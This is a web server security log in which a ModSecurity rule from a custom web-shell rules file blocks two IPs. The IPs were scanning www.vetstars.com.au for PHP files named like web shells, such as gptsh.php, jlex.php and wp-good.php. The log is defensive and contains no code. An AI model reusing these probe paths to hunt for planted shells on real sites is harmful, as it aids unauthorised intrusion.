[Mon Apr 13 17:20:16.639421 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:64580] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1UG_r4W8fX2GWyGTMywAAAZU"]
[Mon Apr 13 17:20:17.275487 2026] [:error] [pid 63406:tid 63434] [client 20.240.142.13:61900] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady1UbHZEIkQ0Zmgp5oilgAAANc"]
[Mon Apr 13 17:20:17.584948 2026] [:error] [pid 63309:tid 63326] [client 20.100.201.121:64620] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1UUpIKZ10weXpf0UDsgAAAA0"]
[Mon Apr 13 17:20:17.612337 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:63650] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1UbHZEIkQ0Zmgp5oimAAAAMo"]
[Mon Apr 13 17:20:18.952837 2026] [:error] [pid 63406:tid 63426] [client 20.240.142.13:64571] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady1UrHZEIkQ0Zmgp5oimgAAAM8"]
[Mon Apr 13 17:20:19.582990 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:64160] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1U7HZEIkQ0Zmgp5oingAAAM4"]
[Mon Apr 13 17:20:20.773492 2026] [:error] [pid 63310:tid 63367] [client 20.240.142.13:61923] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady1VHoXpRU5ztmwPjIw-QAAAFc"]
[Mon Apr 13 17:20:20.975194 2026] [:error] [pid 63311:tid 63379] [client 20.100.201.121:65103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1VKHjrGN1MqBCVFnS6AAAAIg"]
[Mon Apr 13 17:20:22.148546 2026] [:error] [pid 7228:tid 7235] [client 20.240.142.13:64512] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady1VgEnn1dQrOSHHNVcDQAAAQU"]
[Mon Apr 13 17:20:23.176932 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:64687] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1VwEnn1dQrOSHHNVcDwAAAQg"]
[Mon Apr 13 17:20:23.577565 2026] [:error] [pid 9314:tid 9330] [client 20.240.142.13:64529] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady1V2_r4W8fX2GWyGTM0AAAAY4"]
[Mon Apr 13 17:20:24.656612 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:64659] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1WAEnn1dQrOSHHNVcEQAAARM"]
[Mon Apr 13 17:20:25.663092 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:64634] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1WW_r4W8fX2GWyGTM1AAAAZU"]
[Mon Apr 13 17:20:26.477973 2026] [:error] [pid 9314:tid 9334] [client 20.100.201.121:65136] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady1Wm_r4W8fX2GWyGTM1gAAAZI"]
[Mon Apr 13 17:20:27.347041 2026] [:error] [pid 63311:tid 63376] [client 20.240.142.13:61926] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady1W6HjrGN1MqBCVFnS-gAAAIU"]
[Mon Apr 13 17:20:27.941583 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:63725] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady1WwEnn1dQrOSHHNVcFAAAAQk"]
[Mon Apr 13 17:20:28.612917 2026] [:error] [pid 9314:tid 9324] [client 20.240.142.13:60491] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady1XG_r4W8fX2GWyGTM3QAAAYg"]
[Mon Apr 13 17:20:31.729947 2026] [:error] [pid 63406:tid 63422] [client 20.240.142.13:64560] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady1X7HZEIkQ0Zmgp5oirAAAAMs"]
[Mon Apr 13 17:20:34.989119 2026] [:error] [pid 7228:tid 7232] [client 20.240.142.13:62781] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady1YgEnn1dQrOSHHNVcGgAAAQI"]
[Mon Apr 13 17:20:35.998128 2026] [:error] [pid 63406:tid 63420] [client 20.240.142.13:64539] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady1Y7HZEIkQ0Zmgp5oitQAAAMk"]
[Mon Apr 13 17:20:40.711841 2026] [:error] [pid 63310:tid 63353] [client 20.240.142.13:60690] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady1aHoXpRU5ztmwPjIxDQAAAEk"]
[Mon Apr 13 17:20:42.322767 2026] [:error] [pid 63406:tid 63433] [client 20.240.142.13:64501] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady1arHZEIkQ0Zmgp5oiyQAAANY"]
[Mon Apr 13 17:20:43.620908 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:64552] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady1a7HZEIkQ0Zmgp5oi0QAAANE"]
[Mon Apr 13 17:20:46.440512 2026] [:error] [pid 63310:tid 63362] [client 20.240.142.13:64471] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady1bnoXpRU5ztmwPjIxGAAAAFI"]
[Mon Apr 13 17:20:48.975536 2026] [:error] [pid 9314:tid 9321] [client 20.240.142.13:62782] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady1cG_r4W8fX2GWyGTM8gAAAYU"]
[Mon Apr 13 17:20:52.342623 2026] [:error] [pid 63309:tid 63331] [client 20.240.142.13:61935] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady1dEpIKZ10weXpf0UDzgAAABI"]
[Mon Apr 13 17:21:01.463270 2026] [:error] [pid 7228:tid 7249] [client 20.240.142.13:62736] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady1fQEnn1dQrOSHHNVcLgAAARM"]
[Mon Apr 13 17:21:04.432136 2026] [:error] [pid 63311:tid 63385] [client 20.240.142.13:64452] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady1gKHjrGN1MqBCVFnTJgAAAI4"]
[Mon Apr 13 17:21:08.466658 2026] [:error] [pid 63406:tid 63431] [client 20.240.142.13:62732] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady1hLHZEIkQ0Zmgp5ojJgAAANQ"]
[Mon Apr 13 17:21:11.564737 2026] [:error] [pid 7228:tid 7248] [client 20.240.142.13:61906] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady1hwEnn1dQrOSHHNVcQwAAARI"]
[Mon Apr 13 17:21:16.842674 2026] [:error] [pid 63406:tid 63420] [client 20.240.142.13:61888] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady1jLHZEIkQ0Zmgp5ojTAAAAMk"]
[Mon Apr 13 17:21:22.072224 2026] [:error] [pid 63406:tid 63432] [client 20.240.142.13:62737] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady1krHZEIkQ0Zmgp5ojYgAAANU"]
[Mon Apr 13 17:21:25.998659 2026] [:error] [pid 63406:tid 63435] [client 20.240.142.13:62742] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady1lbHZEIkQ0Zmgp5ojfAAAANg"]
[Mon Apr 13 17:21:28.913000 2026] [:error] [pid 7228:tid 7254] [client 20.240.142.13:61943] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady1mAEnn1dQrOSHHNVcUwAAARg"]
[Mon Apr 13 17:21:31.238855 2026] [:error] [pid 63406:tid 63417] [client 20.240.142.13:64500] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ady1m7HZEIkQ0Zmgp5ojoAAAAMY"]
[Mon Apr 13 17:21:32.950695 2026] [:error] [pid 63406:tid 63414] [client 20.240.142.13:61941] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ady1nLHZEIkQ0Zmgp5ojrQAAAMM"]
[Mon Apr 13 17:21:34.362623 2026] [:error] [pid 63309:tid 63333] [client 20.240.142.13:61574] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ady1nkpIKZ10weXpf0UEBAAAABQ"]
[Mon Apr 13 17:21:35.272519 2026] [:error] [pid 63406:tid 63420] [client 20.240.142.13:64482] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ady1n7HZEIkQ0Zmgp5ojugAAAMk"]
[Mon Apr 13 17:21:36.234296 2026] [:error] [pid 7228:tid 7246] [client 20.240.142.13:60515] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ady1oAEnn1dQrOSHHNVcVQAAARA"]
[Mon Apr 13 17:21:37.116031 2026] [:error] [pid 57183:tid 57208] [client 20.240.142.13:60500] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1oTDO3t8R5NaxzYTW4QAAAVc"]
[Mon Apr 13 17:21:38.167620 2026] [:error] [pid 63311:tid 63381] [client 20.240.142.13:61947] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1oqHjrGN1MqBCVFnTPwAAAIo"]
[Mon Apr 13 17:21:39.342301 2026] [:error] [pid 7228:tid 7240] [client 20.240.142.13:62743] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1owEnn1dQrOSHHNVcWQAAAQo"]
[Mon Apr 13 17:21:45.522839 2026] [:error] [pid 57183:tid 57194] [client 20.240.142.13:62776] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1qTDO3t8R5NaxzYTW7wAAAUk"]
[Mon Apr 13 17:21:53.793425 2026] [:error] [pid 63310:tid 63350] [client 20.100.201.121:65145] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady1sXoXpRU5ztmwPjIxTgAAAEY"]
[Mon Apr 13 17:21:54.779361 2026] [:error] [pid 9314:tid 9327] [client 20.240.142.13:64569] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1sm_r4W8fX2GWyGTNZAAAAYs"]
[Mon Apr 13 17:21:56.092399 2026] [:error] [pid 9314:tid 9323] [client 20.240.142.13:62741] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1tG_r4W8fX2GWyGTNcAAAAYc"]
[Mon Apr 13 17:21:56.876611 2026] [:error] [pid 63406:tid 63426] [client 20.100.201.121:65123] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady1tLHZEIkQ0Zmgp5ojwwAAAM8"]
[Mon Apr 13 17:21:57.116000 2026] [:error] [pid 63406:tid 63417] [client 20.240.142.13:62769] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1tbHZEIkQ0Zmgp5ojxQAAAMY"]
[Mon Apr 13 17:21:58.741048 2026] [:error] [pid 63311:tid 63395] [client 20.240.142.13:62744] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1tqHjrGN1MqBCVFnTTwAAAJg"]
[Mon Apr 13 17:22:01.062805 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:60490] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1ubHZEIkQ0Zmgp5oj0gAAANE"]
[Mon Apr 13 17:22:01.267087 2026] [:error] [pid 7228:tid 7253] [client 20.100.201.121:64625] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1uQEnn1dQrOSHHNVcowAAARc"]
[Mon Apr 13 17:22:02.068393 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64073] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1urHZEIkQ0Zmgp5oj1QAAAMs"]
[Mon Apr 13 17:22:02.902836 2026] [:error] [pid 63311:tid 63393] [client 20.100.201.121:64066] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1uqHjrGN1MqBCVFnTUQAAAJY"]
[Mon Apr 13 17:22:03.546019 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:64644] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1u7HZEIkQ0Zmgp5oj2AAAAMU"]
[Mon Apr 13 17:22:05.351003 2026] [:error] [pid 63406:tid 63416] [client 20.240.142.13:62759] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1vbHZEIkQ0Zmgp5oj4gAAAMU"]
